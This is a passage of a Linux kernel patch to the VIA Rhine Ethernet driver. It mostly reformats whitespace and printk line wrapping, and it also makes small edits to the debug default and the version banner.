0 quiet .. 7 verbose. */ +static int debug = 1; /* 1 normal messages, 0 quiet .. 7 verbose. */ static int max_interrupt_work = 20; /* Set the copy breakpoint for the copy-only-tiny-frames scheme. @@ -155,12 +155,12 @@ static int backoff; Use option values 0x10 and 0x100 for forcing half duplex fixed speed. Use option values 0x20 and 0x200 for forcing full duplex operation. */ -#define MAX_UNITS 8 /* More are supported, limit only on options */ +#define MAX_UNITS 8 /* More are supported, limit only on options */ static int options[MAX_UNITS] = {-1, -1, -1, -1, -1, -1, -1, -1}; static int full_duplex[MAX_UNITS] = {-1, -1, -1, -1, -1, -1, -1, -1}; /* Maximum number of multicast addresses to filter (vs. rx-all-multicast). - The Rhine has a 64 element 8390-like hash table. */ + The Rhine has a 64 element 8390-like hash table. */ static const int multicast_filter_limit = 32; @@ -172,16 +172,16 @@ static const int multicast_filter_limit bonding and packet priority. There are no ill effects from too-large receive rings. */ #define TX_RING_SIZE 16 -#define TX_QUEUE_LEN 10 /* Limit ring entries actually used. */ +#define TX_QUEUE_LEN 10 /* Limit ring entries actually used. */ #define RX_RING_SIZE 16 /* Operational parameters that usually are not changed. */ /* Time in jiffies before concluding the transmitter is hung. */ -#define TX_TIMEOUT (2*HZ) +#define TX_TIMEOUT (2*HZ) -#define PKT_BUF_SZ 1536 /* Size of each temporary Rx buffer.*/ +#define PKT_BUF_SZ 1536 /* Size of each temporary Rx buffer.*/ #if !defined(__OPTIMIZE__) || !defined(__KERNEL__) #warning You must compile this file with the correct options! @@ -206,7 +206,7 @@ static const int multicast_filter_limit #include #include #include -#include /* Processor type for cache alignment. */ +#include /* Processor type for cache alignment. */ #include #include #include @@ -214,8 +214,7 @@ static const int multicast_filter_limit /* These identify the driver base version and may not be removed. */ static char version[] __devinitdata = -KERN_INFO DRV_NAME ".c:v1.10-LK" DRV_VERSION " " DRV_RELDATE " Written by Donald Becker\n" -KERN_INFO " http://www.scyld.com/network/via-rhine.html\n"; +KERN_INFO DRV_NAME ".c:v1.10-LK" DRV_VERSION " " DRV_RELDATE " Written by Donald Becker\n"; static char shortname[] = DRV_NAME; @@ -258,7 +257,7 @@ MODULE_PARM_DESC(options, "VIA Rhine: Bi MODULE_PARM_DESC(full_duplex, "VIA Rhine full duplex setting(s) (1)"); /* - Theory of Operation + Theory of Operation I. Board Compatibility @@ -281,7 +280,7 @@ IIIa. Ring buffers This driver uses two statically allocated fixed-size descriptor lists formed into rings by a branch from the final descriptor to the beginning of -the list. The ring sizes are set at compile time by RX/TX_RING_SIZE. +the list. The ring sizes are set at compile time by RX/TX_RING_SIZE. IIIb/c. Transmit/Receive Structure @@ -292,29 +291,29 @@ the driver must often copy transmit pack The driver allocates full frame size skbuffs for the Rx ring buffers at open() time and passes the skb->data field to the chip as receive data -buffers. When an incoming frame is less than RX_COPYBREAK bytes long, +buffers. When an incoming frame is less than RX_COPYBREAK bytes long, a fresh skbuff is allocated and the frame is copied to the new skbuff. When the incoming frame is larger, the skbuff is passed directly up the -protocol stack. Buffers consumed this way are replaced by newly allocated -skbuffs in the last phase of via_rhine_rx(). +protocol stack. Buffers consumed this way are replaced by newly allocated +skbuffs in the last phase of rhine_rx(). The RX_COPYBREAK value is chosen to trade-off the memory wasted by using a full-sized skbuff for small frames vs. the copying costs of larger -frames. New boards are typically used in generously configured machines +frames. New boards are typically used in generously configured machines and the underfilled buffers have negligible impact compared to the benefit of a single allocation size, so the default value of zero results in never -copying packets. When copying is done, the cost is usually mitigated by using -a combined copy/checksum routine. Copying also preloads the cache, which is +copying packets. When copying is done, the cost is usually mitigated by using +a combined copy/checksum routine. Copying also preloads the cache, which is most useful with small frames. Since the VIA chips are only able to transfer data to buffers on 32 bit boundaries, the IP header at offset 14 in an ethernet frame isn't -longword aligned for further processing. Copying these unaligned buffers +longword aligned for further processing. Copying these unaligned buffers has the beneficial effect of 16-byte aligning the IP header. IIId. Synchronization -The driver runs as two independent, single-threaded flows of control. One +The driver runs as two independent, single-threaded flows of control. One is the send-packet routine, which enforces single-threaded use by the dev->priv->lock spinlock. The other thread is the interrupt handler, which is single threaded by the hardware and interrupt handling software. @@ -324,7 +323,7 @@ dev->priv->lock whenever it's queuing a is not available it stops the transmit queue by calling netif_stop_queue. The interrupt handler has exclusive control over the Rx ring and records stats -from the Tx ring. After reaping the stats, it marks the Tx queue entry as +from the Tx ring. After reaping the stats, it marks the Tx queue entry as empty by incrementing the dirty_tx mark. If at least half of the entries in the Rx ring are available the transmit queue is woken up if it was stopped. @@ -350,7 +349,7 @@ The chip does not pad to minimum transmi */ -/* This table drives the PCI probe routines. It's mostly boilerplate in all +/* This table drives the PCI probe routines. It's mostly boilerplate in all of the drivers, and will likely be provided by some future kernel. Note the matching code -- the first table entry matchs all 56** cards but second only the 1234 card. @@ -378,7 +377,8 @@ struct rhine_chip_info { enum chip_capability_flags { CanHaveMII=1, HasESIPhy=2, HasDavicomPhy=4, - ReqTxAlign=0x10, HasWOL=0x20, }; + ReqTxAlign=0x10, HasWOL=0x20, +}; #ifdef USE_MEM #define RHINE_IOTYPE (PCI_USES_MEM | PCI_USES_MASTER | PCI_ADDR1) @@ -407,7 +407,7 @@ static struct pci_device_id rhine_pci_tb {0x1106, 0x3065, PCI_ANY_ID, PCI_ANY_ID, 0, 0, VT6102}, {0x1106, 0x3106, PCI_ANY_ID, PCI_ANY_ID, 0, 0, VT6105}, /* 6105{,L,LOM} */ {0x1106, 0x3053, PCI_ANY_ID, PCI_ANY_ID, 0, 0, VT6105M}, - {0,} /* terminate list */ + {0,} /* terminate list */ }; MODULE_DEVICE_TABLE(pci, rhine_pci_tbl); @@ -469,7 +469,7 @@ struct tx_desc { }; /* Initial value for tx_desc.desc_length, Buffer size goes to bits 0-10 */ -#define TXDESC 0x00e08000 +#define TXDESC 0x00e08000 enum rx_status_bits { RxOK=0x8000, RxWholePkt=0x0300, RxErr=0x008F @@ -517,19 +517,19 @@ struct rhine_private { /* Frequently used values: keep some adjacent for cache effect. */ int chip_id, drv_flags; struct rx_desc *rx_head_desc; - unsigned int cur_rx, dirty_rx; /* Producer/consumer ring indices */ + unsigned int cur_rx, dirty_rx; /* Producer/consumer ring indices */ unsigned int cur_tx, dirty_tx; - unsigned int rx_buf_sz; /* Based on MTU+slack. */ - u16 chip_cmd; /* Current setting for ChipCmd */ + unsigned int rx_buf_sz; /* Based on MTU+slack. */ + u16 chip_cmd; /* Current setting for ChipCmd */ /* These values are keep track of the transceiver/media in use. */ - unsigned int default_port:4; /* Last dev->if_port value. */ + unsigned int default_port:4; /* Last dev->if_port value. */ u8 tx_thresh, rx_thresh; /* MII transceiver section. */ - unsigned char phys[MAX_MII_CNT]; /* MII device addresses. */ - unsigned int mii_cnt; /* number of MIIs found, but only the first one is used */ - u16 mii_status; /* last read MII status */ + unsigned char phys[MAX_MII_CNT]; /* MII device addresses. */ + unsigned int mii_cnt; /* number of MIIs found, but only the first one is used */ + u16 mii_status; /* last read MII status */ struct mii_if_info mii_if; }; @@ -624,8 +624,8 @@ static void rhine_poll(struct net_device } #endif -static int __devinit rhine_init_one (struct pci_dev *pdev, - const struct pci_device_id *ent) +static int __devinit rhine_init_one(struct pci_dev *pdev, + const struct pci_device_id *ent) { struct net_device *dev; struct rhine_private *rp; @@ -652,31 +652,33 @@ static int __devinit rhine_init_one (str io_size = rhine_chip_info[chip_id].io_size; pci_flags = rhine_chip_info[chip_id].pci_flags; - if (pci_enable_device (pdev)) + if (pci_enable_device(pdev)) goto err_out; /* this should always be supported */ if (pci_set_dma_mask(pdev, 0xffffffff)) { - printk(KERN_ERR "32-bit PCI DMA addresses not supported by the card!?\n"); + printk(KERN_ERR "32-bit PCI DMA addresses not supported by " + "the card!?\n"); goto err_out; } /* sanity check */ - if ((pci_resource_len (pdev, 0) < io_size) || - (pci_resource_len (pdev, 1) < io_size)) { - printk (KERN_ERR "Insufficient PCI resources, aborting\n"); + if ((pci_resource_len(pdev, 0) < io_size) || + (pci_resource_len(pdev, 1) < io_size)) { + printk(KERN_ERR "Insufficient PCI resources, aborting\n"); goto err_out; } - ioaddr = pci_resource_start (pdev, 0); - memaddr = pci_resource_start (pdev, 1); + ioaddr = pci_resource_start(pdev, 0); + memaddr = pci_resource_start(pdev, 1); if (pci_flags & PCI_USES_MASTER) - pci_set_master (pdev); + pci_set_master(pdev); dev = alloc_etherdev(sizeof(*rp)); if (dev == NULL) { - printk (KERN_ERR "init_ethernet failed for card #%d\n", card_idx); + printk(KERN_ERR "init_ethernet failed for card #%d\n", + card_idx); goto err_out; } SET_MODULE_OWNER(dev); @@ -689,10 +691,10 @@ static int __devinit rhine_init_one (str ioaddr0 = ioaddr; enable_mmio(ioaddr0, chip_id); - ioaddr = (long) ioremap (memaddr, io_size); + ioaddr = (long) ioremap(memaddr, io_size); if (!ioaddr) { - printk (KERN_ERR "ioremap failed for device %s, region 0x%X @ 0x%lX\n", - pci_name(pdev), io_size, memaddr); + printk(KERN_ERR "ioremap failed for device %s, region 0x%X " + "@ 0x%lX\n", pci_name(pdev), io_size, memaddr); goto err_out_free_res; } @@ -703,8 +705,8 @@ static int __devinit rhine_init_one (str unsigned char a = inb(ioaddr0+reg); unsigned char b = readb(ioaddr+reg); if (a != b) { - printk (KERN_ERR "MMIO do not match PIO [%02x] (%02x != %02x)\n", - reg, a, b); + printk(KERN_ERR "MMIO do not match PIO [%02x] " + "(%02x != %02x)\n", reg, a, b); goto err_out_unmap; } } @@ -756,7 +758,7 @@ static int __devinit rhine_init_one (str if (chip_id == VT6102) { /* * for 3065D, EEPROM reloaded will cause bit 0 in MAC_REG_CFGA - * turned on. it makes MAC receive magic packet + * turned on. it makes MAC receive magic packet * automatically. So, we turn it off. (D-Link) */ writeb(readb(ioaddr + ConfigA) & 0xFE, ioaddr + ConfigA); @@ -765,12 +767,12 @@ static int __devinit rhine_init_one (str /* Select backoff algorithm */ if (backoff) writeb(readb(ioaddr + ConfigD) & (0xF0 | backoff), - ioaddr + ConfigD); + ioaddr + ConfigD); dev->irq = pdev->irq; rp = dev->priv; - spin_lock_init (&rp->lock); + spin_lock_init(&rp->lock); rp->chip_id = chip_id; rp->drv_flags = rhine_chip_info[chip_id].drv_flags; rp->pdev = pdev; @@ -810,21 +812,21 @@ static int __devinit rhine_init_one (str rp->mii_if.full_duplex = 1; rp->default_port = option & 15; } - if (card_idx < MAX_UNITS && full_duplex[card_idx] > 0) + if (card_idx < MAX_UNITS && full_duplex[card_idx] > 0) rp->mii_if.full_duplex = 1; if (rp->mii_if.full_duplex) { - printk(KERN_INFO "%s: Set to forced full duplex, autonegotiation" - " disabled.\n", dev->name); + printk(KERN_INFO "%s: Set to forced full duplex, " + "autonegotiation disabled.\n", dev->name); rp->mii_if.force_media = 1; } printk(KERN_INFO "%s: %s at 0x%lx, ", - dev->name, rhine_chip_info[chip_id].name, - (pci_flags & PCI_USES_IO) ? ioaddr : memaddr); + dev->name, rhine_chip_info[chip_id].name, + (pci_flags & PCI_USES_IO) ? ioaddr : memaddr); for (i = 0; i < 5; i++) - printk("%2.2x:", dev->dev_addr[i]); + printk("%2.2x:", dev->dev_addr[i]); printk("%2.2x, IRQ %d.\n", dev->dev_addr[i], pdev->irq); pci_set_drvdata(pdev, dev); @@ -834,13 +836,14 @@ static int __devinit rhine_init_one (str rp->phys[0] = 1; /* Standard for this chip. */ for (phy = 1; phy < 32 && phy_idx < MAX_MII_CNT; phy++) { int mii_status = mdio_read(dev, phy, 1); - if (mii_status != 0xffff && mii_status != 0x0000) { + if (mii_status != 0xffff && mii_status != 0x0000) { rp->phys[phy_idx++] = phy; rp->mii_if.advertising = mdio_read(dev, phy, 4); - printk(KERN_INFO "%s: MII PHY found at address %d, status " - "0x%4.4x advertising %4.4x Link %4.4x.\n", - dev->name, phy, mii_status, rp->mii_if.advertising, - mdio_read(dev, phy, 5)); + printk(KERN_INFO "%s: MII PHY found at address " + "%d, status 0x%4.4x advertising %4.4x " + "Link %4.4x.\n", dev->name, phy, + mii_status, rp->mii_if.advertising, + mdio_read(dev, phy, 5)); /* set IFF_RUNNING */ if (mii_status & BMSR_LSTATUS) @@ -863,13 +866,14 @@ static int __devinit rhine_init_one (str if (option & 0x330) { /* FIXME: shouldn't someone check this variable? */ /* rp->medialock = 1; */ - printk(KERN_INFO " Forcing %dMbs %s-duplex operation.\n", - (option & 0x300 ? 100 : 10), - (option & 0x220 ? "full" : "half")); + printk(KERN_INFO " Forcing %dMbs %s-duplex " + "operation.\n", + (option & 0x300 ? 100 : 10), + (option & 0x220 ? "full" : "half")); if (rp->mii_cnt) mdio_write(dev, rp->phys[0], MII_BMCR, - ((option & 0x300) ? 0x2000 : 0) | /* 100mbps? */ - ((option & 0x220) ? 0x0100 : 0)); /* Full duplex? */ + ((option & 0x300) ? 0x2000 : 0) | /* 100mbps? */ + ((option & 0x220) ? 0x0100 : 0)); /* Full duplex? */ } } @@ -882,7 +886,7 @@ err_out_free_res: #endif pci_release_regions(pdev); err_out_free_netdev: - free_netdev (dev); + free_netdev(dev); err_out: return -ENODEV; } @@ -902,8 +906,9 @@ static int alloc_ring(struct net_device* return -ENOMEM; } if (rp->drv_flags & ReqTxAlign) { - rp->tx_bufs = pci_alloc_consistent(rp->pdev, PKT_BUF_SZ * TX_RING_SIZE, - &rp->tx_bufs_dma); + rp->tx_bufs = pci_alloc_consistent(rp->pdev, + PKT_BUF_SZ * TX_RING_SIZE, + &rp->tx_bufs_dma); if (rp->tx_bufs == NULL) { pci_free_consistent(rp->pdev, RX_RING_SIZE * sizeof(struct rx_desc) + @@ -933,7 +938,7 @@ void free_ring(struct net_device* dev) if (rp->tx_bufs) pci_free_consistent(rp->pdev, PKT_BUF_SZ * TX_RING_SIZE, - rp->tx_bufs, rp->tx_bufs_dma); + rp->tx_bufs, rp->tx_bufs_dma); rp->tx_bufs = NULL; @@ -972,7 +977,7 @@ static void alloc_rbufs(struct net_devic rp->rx_skbuff_dma[i] = pci_map_single(rp->pdev, skb->tail, rp->rx_buf_sz, - PCI_DMA_FROMDEVICE); + PCI_DMA_FROMDEVICE); rp->rx_ring[i].addr = cpu_to_le32(rp->rx_skbuff_dma[i]); rp->rx_ring[i].rx_status = cpu_to_le32(DescOwn); @@ -991,8 +996,8 @@ static void free_rbufs(struct net_device rp->rx_ring[i].addr = cpu_to_le32(0xBADF00D0); /* An invalid address. */ if (rp->rx_skbuff[i]) { pci_unmap_single(rp->pdev, - rp->rx_skbuff_dma[i], - rp->rx_buf_sz, PCI_DMA_FROMDEVICE); + rp->rx_skbuff_dma[i], + rp->rx_buf_sz, PCI_DMA_FROMDEVICE); dev_kfree_skb(rp->rx_skbuff[i]); } rp->rx_skbuff[i] = 0; @@ -1031,8 +1036,9 @@ static void free_tbufs(struct net_device if (rp->tx_skbuff[i]) { if (rp->tx_skbuff_dma[i]) { pci_unmap_single(rp->pdev, - rp->tx_skbuff_dma[i], - rp->tx_skbuff[i]->len, PCI_DMA_TODEVICE); + rp->tx_skbuff_dma[i], + rp->tx_skbuff[i]->len, + PCI_DMA_TODEVICE); } dev_kfree_skb(rp->tx_skbuff[i]); } @@ -1055,7 +1061,7 @@ static void init_registers(struct net_de /* Configure initial FIFO thresholds. */ writeb(0x20, ioaddr + TxConfig); rp->tx_thresh = 0x20; - rp->rx_thresh = 0x60; /* Written in rhine_set_rx_mode(). */ + rp->rx_thresh = 0x60; /* Written in rhine_set_rx_mode(). */ rp->mii_if.full_duplex = 0; if (dev->if_port == 0) @@ -1068,10 +1074,10 @@ static void init_registers(struct net_de /* Enable interrupts by setting the interrupt mask. */ writew(IntrRxDone | IntrRxErr | IntrRxEmpty| IntrRxOverflow | - IntrRxDropped | IntrRxNoBuf | IntrTxAborted | - IntrTxDone | IntrTxError | IntrTxUnderrun | - IntrPCIErr | IntrStatsMax | IntrLinkChange, - ioaddr + IntrEnable); + IntrRxDropped | IntrRxNoBuf | IntrTxAborted | + IntrTxDone | IntrTxError | IntrTxUnderrun | + IntrPCIErr | IntrStatsMax | IntrLinkChange, + ioaddr + IntrEnable); rp->chip_cmd = CmdStart|CmdTxOn|CmdRxOn|CmdNoTxPoll; if (rp->mii_if.force_media) @@ -1080,12 +1086,13 @@ static void init_registers(struct net_de rhine_check_duplex(dev); - /* The LED outputs of various MII xcvrs should be configured. */ + /* The LED outputs of various MII xcvrs should be configured. */ /* For NS or Mison phys, turn on bit 1 in register 0x17 */ /* For ESI phys, turn on bit 7 in register 0x17. */ mdio_write(dev, rp->phys[0], 0x17, mdio_read(dev, rp->phys[0], 0x17) | - (rp->drv_flags & HasESIPhy) ? 0x0080 : 0x0001); + (rp->drv_flags & HasESIPhy) ? 0x0080 : 0x0001); } + /* Read and write over the MII Management Data I/O (MDIO) interface. */ static int mdio_read(struct net_device *dev, int phy_id, int regnum) @@ -1099,7 +1106,7 @@ static int mdio_read(struct net_device * writeb(0x00, ioaddr + MIICmd); writeb(phy_id, ioaddr + MIIPhyAddr); writeb(regnum, ioaddr + MIIRegAddr); - writeb(0x40, ioaddr + MIICmd); /* Trigger read */ + writeb(0x40, ioaddr + MIICmd); /* Trigger read */ boguscnt = 1024; while ((readb(ioaddr + MIICmd) & 0x40) && --boguscnt > 0) ; @@ -1114,8 +1121,8 @@ static void mdio_write(struct net_device if (phy_id == rp->phys[0]) { switch (regnum) { - case MII_BMCR: /* Is user forcing speed/duplex? */ - if (value & 0x9000) /* Autonegotiation. */ + case MII_BMCR: /* Is user forcing speed/duplex? */ + if (value & 0x9000) /* Autonegotiation. */ rp->mii_if.force_media = 0; else rp->mii_if.full_duplex = (value & 0x0100) ? 1 : 0; @@ -1133,7 +1140,7 @@ static void mdio_write(struct net_device writeb(phy_id, ioaddr + MIIPhyAddr); writeb(regnum, ioaddr + MIIRegAddr); writew(value, ioaddr + MIIData); - writeb(0x20, ioaddr + MIICmd); /* Trigger write. */ + writeb(0x20, ioaddr + MIICmd); /* Trigger write. */ } @@ -1146,13 +1153,14 @@ static int rhine_open(struct net_device /* Reset the chip. */ writew(CmdReset, ioaddr + ChipCmd); - i = request_irq(rp->pdev->irq, &rhine_interrupt, SA_SHIRQ, dev->name, dev); + i = request_irq(rp->pdev->irq, &rhine_interrupt, SA_SHIRQ, dev->name, + dev); if (i) return i; if (debug > 1) printk(KERN_DEBUG "%s: rhine_open() irq %d.\n", - dev->name, rp->pdev->irq); + dev->name, rp->pdev->irq); i = alloc_ring(dev); if (i) @@ -1163,9 +1171,9 @@ static int rhine_open(struct net_device init_registers(dev); if (debug > 2) printk(KERN_DEBUG "%s: Done rhine_open(), status %4.4x " - "MII status: %4.4x.\n", - dev->name, readw(ioaddr + ChipCmd), - mdio_read(dev, rp->phys[0], MII_BMSR)); + "MII status: %4.4x.\n", + dev->name, readw(ioaddr + ChipCmd), + mdio_read(dev, rp->phys[0], MII_BMSR)); netif_start_queue(dev); @@ -1173,7 +1181,7 @@ static int rhine_open(struct net_device init_timer(&rp->timer); rp->timer.expires = jiffies + 2 * HZ/100; rp->timer.data = (unsigned long)dev; - rp->timer.function = &rhine_timer; /* timer handler */ + rp->timer.function = &rhine_timer; /* timer handler */ add_timer(&rp->timer); return 0; @@ -1187,15 +1195,16 @@ static void rhine_check_duplex(struct ne int negotiated = mii_lpa & rp->mii_if.advertising; int duplex; - if (rp->mii_if.force_media || mii_lpa == 0xffff) + if (rp->mii_if.force_media || mii_lpa == 0xffff) return; duplex = (negotiated & 0x0100) || (negotiated & 0x01C0) == 0x0040; if (rp->mii_if.full_duplex != duplex) { rp->mii_if.full_duplex = duplex; if (debug) - printk(KERN_INFO "%s: Setting %s-duplex based on MII #%d link" - " partner capability of %4.4x.\n", dev->name, - duplex ? "full" : "half", rp->phys[0], mii_lpa); + printk(KERN_INFO "%s: Setting %s-duplex based on " + "MII #%d link partner capability of %4.4x.\n", + dev->name, duplex ? "full" : "half", + rp->phys[0], mii_lpa); if (duplex) rp->chip_cmd |= CmdFDuplex; else @@ -1215,7 +1224,7 @@ static void rhine_timer(unsigned long da if (debug > 3) { printk(KERN_DEBUG "%s: VIA Rhine monitor tick, status %4.4x.\n", - dev->name, readw(ioaddr + IntrStatus)); + dev->name, readw(ioaddr + IntrStatus)); } spin_lock_irq (&rp->lock); @@ -1224,7 +1233,7 @@ static void rhine_timer(unsigned long da /* make IFF_RUNNING follow the MII status bit "Link established" */ mii_status = mdio_read(dev, rp->phys[0], MII_BMSR); - if ( (mii_status & BMSR_LSTATUS) != (rp->mii_status & BMSR_LSTATUS) ) { + if ((mii_status & BMSR_LSTATUS) != (rp->mii_status & BMSR_LSTATUS)) { if (mii_status & BMSR_LSTATUS) netif_carrier_on(dev); else @@ -1232,22 +1241,22 @@ static void rhine_timer(unsigned long da } rp->mii_status = mii_status; - spin_unlock_irq (&rp->lock); + spin_unlock_irq(&rp->lock); rp->timer.expires = jiffies + next_tick; add_timer(&rp->timer); } -static void rhine_tx_timeout (struct net_device *dev) +static void rhine_tx_timeout(struct net_device *dev) { struct rhine_private *rp = dev->priv; long ioaddr = dev->base_addr; - printk (KERN_WARNING "%s: Transmit timed out, status %4.4x, PHY status " - "%4.4x, resetting...\n", - dev->name, readw (ioaddr + IntrStatus), - mdio_read (dev, rp->phys[0], MII_BMSR)); + printk(KERN_WARNING "%s: Transmit timed out, status %4.4x, PHY status " + "%4.4x, resetting...\n", + dev->name, readw(ioaddr + IntrStatus), + mdio_read(dev, rp->phys[0], MII_BMSR)); dev->if_port = 0; @@ -1298,8 +1307,7 @@ static int rhine_start_tx(struct sk_buff rp->tx_skbuff[entry] = skb; if ((rp->drv_flags & ReqTxAlign) && - (((long)skb->data & 3) || skb_shinfo(skb)->nr_frags != 0 || skb->ip_summed == CHECKSUM_HW) - ) { + (((long)skb->data & 3) || skb_shinfo(skb)->nr_frags != 0 || skb->ip_summed == CHECKSUM_HW)) { /* Must use alignment buffer. */ if (skb->len > PKT_BUF_SZ) { /* packet too long, drop it */ @@ -1311,10 +1319,12 @@ static int rhine_start_tx(struct sk_buff skb_copy_and_csum_dev(skb, rp->tx_buf[entry]); rp->tx_skbuff_dma[entry] = 0; rp->tx_ring[entry].addr = cpu_to_le32(rp->tx_bufs_dma + - (rp->tx_buf[entry] - rp->tx_bufs)); + (rp->tx_buf[entry] - + rp->tx_bufs)); } else { rp->tx_skbuff_dma[entry] = - pci_map_single(rp->pdev, skb->data, skb->len, PCI_DMA_TODEVICE); + pci_map_single(rp->pdev, skb->data, skb->len, + PCI_DMA_TODEVICE); rp->tx_ring[entry].addr = cpu_to_le32(rp->tx_skbuff_dma[entry]); } @@ -1322,7 +1332,7 @@ static int rhine_start_tx(struct sk_buff cpu_to_le32(TXDESC | (skb->len >= ETH_ZLEN ? skb->len : ETH_ZLEN)); /* lock eth irq */ - spin_lock_irq (&rp->lock); + spin_lock_irq(&rp->lock); wmb(); rp->tx_ring[entry].tx_status = cpu_to_le32(DescOwn); wmb(); @@ -1346,11 +1356,11 @@ static int rhine_start_tx(struct sk_buff dev->trans_start = jiffies; - spin_unlock_irq (&rp->lock); + spin_unlock_irq(&rp->lock); if (debug > 4) { printk(KERN_DEBUG "%s: Transmit frame #%d queued in slot %d.\n", - dev->name, rp->cur_tx-1, entry); + dev->name, rp->cur_tx-1, entry); } return 0; } @@ -1378,10 +1388,10 @@ static irqreturn_t rhine_interrupt(int i if (debug > 4) printk(KERN_DEBUG "%s: Interrupt, status %8.8x.\n", - dev->name, intr_status); + dev->name, intr_status); if (intr_status & (IntrRxDone | IntrRxErr | IntrRxDropped | - IntrRxWakeUp | IntrRxEmpty | IntrRxNoBuf)) + IntrRxWakeUp | IntrRxEmpty | IntrRxNoBuf)) rhine_rx(dev); if (intr_status & (IntrTxErrSummary | IntrTxDone)) { @@ -1391,9 +1401,9 @@ static irqreturn_t rhine_interrupt(int i while ((readw(ioaddr+ChipCmd) & CmdTxOn) && --cnt) udelay(5); if (debug > 2 && !cnt) - printk(KERN_WARNING "%s: rhine_interrupt() " - "Tx engine still on.\n", - dev->name); + printk(KERN_WARNING "%s: " + "rhine_interrupt() Tx engine" + "still on.\n", dev->name); } rhine_tx(dev); } @@ -1406,15 +1416,15 @@ static irqreturn_t rhine_interrupt(int i if (--boguscnt < 0) { printk(KERN_WARNING "%s: Too much work at interrupt, " - "status=%#8.8x.\n", - dev->name, intr_status); + "status=%#8.8x.\n", + dev->name, intr_status); break; } } if (debug > 3) printk(KERN_DEBUG "%s: exiting interrupt, status=%8.8x.\n", - dev->name, readw(ioaddr + IntrStatus)); + dev->name, readw(ioaddr + IntrStatus)); return IRQ_RETVAL(handled); } @@ -1425,27 +1435,28 @@ static void rhine_tx(struct net_device * struct rhine_private *rp = dev->priv; int txstatus = 0, entry = rp->dirty_tx % TX_RING_SIZE; - spin_lock (&rp->lock); + spin_lock(&rp->lock); /* find and cleanup dirty tx descriptors */ while (rp->dirty_tx != rp->cur_tx) { txstatus = le32_to_cpu(rp->tx_ring[entry].tx_status); if (debug > 6) printk(KERN_DEBUG " Tx scavenge %d status %8.8x.\n", - entry, txstatus); + entry, txstatus); if (txstatus & DescOwn) break; if (txstatus & 0x8000) { if (debug > 1) - printk(KERN_DEBUG "%s: Transmit error, Tx status %8.8x.\n", - dev->name, txstatus); + printk(KERN_DEBUG "%s: Transmit error, " + "Tx status %8.8x.\n", + dev->name, txstatus); rp->stats.tx_errors++; if (txstatus & 0x0400) rp->stats.tx_carrier_errors++; if (txstatus & 0x0200) rp->stats.tx_window_errors++; if (txstatus & 0x0100) rp->stats.tx_aborted_errors++; if (txstatus & 0x0080) rp->stats.tx_heartbeat_errors++; if (((rp->chip_id == VT86C100A) && txstatus & 0x0002) || - (txstatus & 0x0800) || (txstatus & 0x1000)) { + (txstatus & 0x0800) || (txstatus & 0x1000)) { rp->stats.tx_fifo_errors++; rp->tx_ring[entry].tx_status = cpu_to_le32(DescOwn); break; /* Keep the skb - we try again */ @@ -1458,25 +1469,26 @@ static void rhine_tx(struct net_device * rp->stats.collisions += txstatus & 0x0F; if (debug > 6) printk(KERN_DEBUG "collisions: %1.1x:%1.1x\n", - (txstatus >> 3) & 0xF, - txstatus & 0xF); + (txstatus >> 3) & 0xF, + txstatus & 0xF); rp->stats.tx_bytes += rp->tx_skbuff[entry]->len; rp->stats.tx_packets++; } /* Free the original skb. */ if (rp->tx_skbuff_dma[entry]) { pci_unmap_single(rp->pdev, - rp->tx_skbuff_dma[entry], - rp->tx_skbuff[entry]->len, PCI_DMA_TODEVICE); + rp->tx_skbuff_dma[entry], + rp->tx_skbuff[entry]->len, + PCI_DMA_TODEVICE); } dev_kfree_skb_irq(rp->tx_skbuff[entry]); rp->tx_skbuff[entry] = NULL; entry = (++rp->dirty_tx) % TX_RING_SIZE; } if ((rp->cur_tx - rp->dirty_tx) < TX_QUEUE_LEN - 4) - netif_wake_queue (dev); + netif_wake_queue(dev); - spin_unlock (&rp->lock); + spin_unlock(&rp->lock); } /* This routine is logically part of the interrupt handler, but isolated @@ -1489,42 +1501,47 @@ static void rhine_rx(struct net_device * if (debug > 4) { printk(KERN_DEBUG "%s: rhine_rx(), entry %d status %8.8x.\n", - dev->name, entry, le32_to_cpu(rp->rx_head_desc->rx_status)); + dev->name, entry, + le32_to_cpu(rp->rx_head_desc->rx_status)); } /* If EOP is set on the next entry, it's a new packet. Send it up. */ - while ( ! (rp->rx_head_desc->rx_status & cpu_to_le32(DescOwn))) { + while (!(rp->rx_head_desc->rx_status & cpu_to_le32(DescOwn))) { struct rx_desc *desc = rp->rx_head_desc; u32 desc_status = le32_to_cpu(desc->rx_status); int data_size = desc_status >> 16; if (debug > 4) - printk(KERN_DEBUG " rhine_rx() status is %8.8x.\n", - desc_status); + printk(KERN_DEBUG " rhine_rx() status is %8.8x.\n", + desc_status); if (--boguscnt < 0) break; - if ( (desc_status & (RxWholePkt | RxErr)) != RxWholePkt) { - if ((desc_status & RxWholePkt) != RxWholePkt) { - printk(KERN_WARNING "%s: Oversized Ethernet frame spanned " - "multiple buffers, entry %#x length %d status %8.8x!\n", - dev->name, entry, data_size, desc_status); - printk(KERN_WARNING "%s: Oversized Ethernet frame %p vs %p.\n", - dev->name, rp->rx_head_desc, &rp->rx_ring[entry]); + if ((desc_status & (RxWholePkt | RxErr)) != RxWholePkt) { + if ((desc_status & RxWholePkt) != RxWholePkt) { + printk(KERN_WARNING "%s: Oversized Ethernet " + "frame spanned multiple buffers, entry " + "%#x length %d status %8.8x!\n", + dev->name, entry, data_size, + desc_status); + printk(KERN_WARNING "%s: Oversized Ethernet " + "frame %p vs %p.\n", dev->name, + rp->rx_head_desc, &rp->rx_ring[entry]); rp->stats.rx_length_errors++; } else if (desc_status & RxErr) { /* There was a error. */ if (debug > 2) - printk(KERN_DEBUG " rhine_rx() Rx error was %8.8x.\n", - desc_status); + printk(KERN_DEBUG " rhine_rx() Rx " + "error was %8.8x.\n", + desc_status); rp->stats.rx_errors++; if (desc_status & 0x0030) rp->stats.rx_length_errors++; if (desc_status & 0x0048) rp->stats.rx_fifo_errors++; if (desc_status & 0x0004) rp->stats.rx_frame_errors++; if (desc_status & 0x0002) { /* this can also be updated outside the interrupt handler */ - spin_lock (&rp->lock); + spin_lock(&rp->lock); rp->stats.rx_crc_errors++; - spin_unlock (&rp->lock); + spin_unlock(&rp->lock); } } } else { @@ -1532,38 +1549,48 @@ static void rhine_rx(struct net_device * /* Length should omit the CRC */ int pkt_len = data_size - 4; - /* Check if the packet is long enough to accept without copying - to a minimally-sized skbuff. */ + /* Check if the packet is long enough to accept without + copying to a minimally-sized skbuff. */ if (pkt_len < rx_copybreak && (skb = dev_alloc_skb(pkt_len + 2)) != NULL) { skb->dev = dev; skb_reserve(skb, 2); /* 16 byte align the IP header */ - 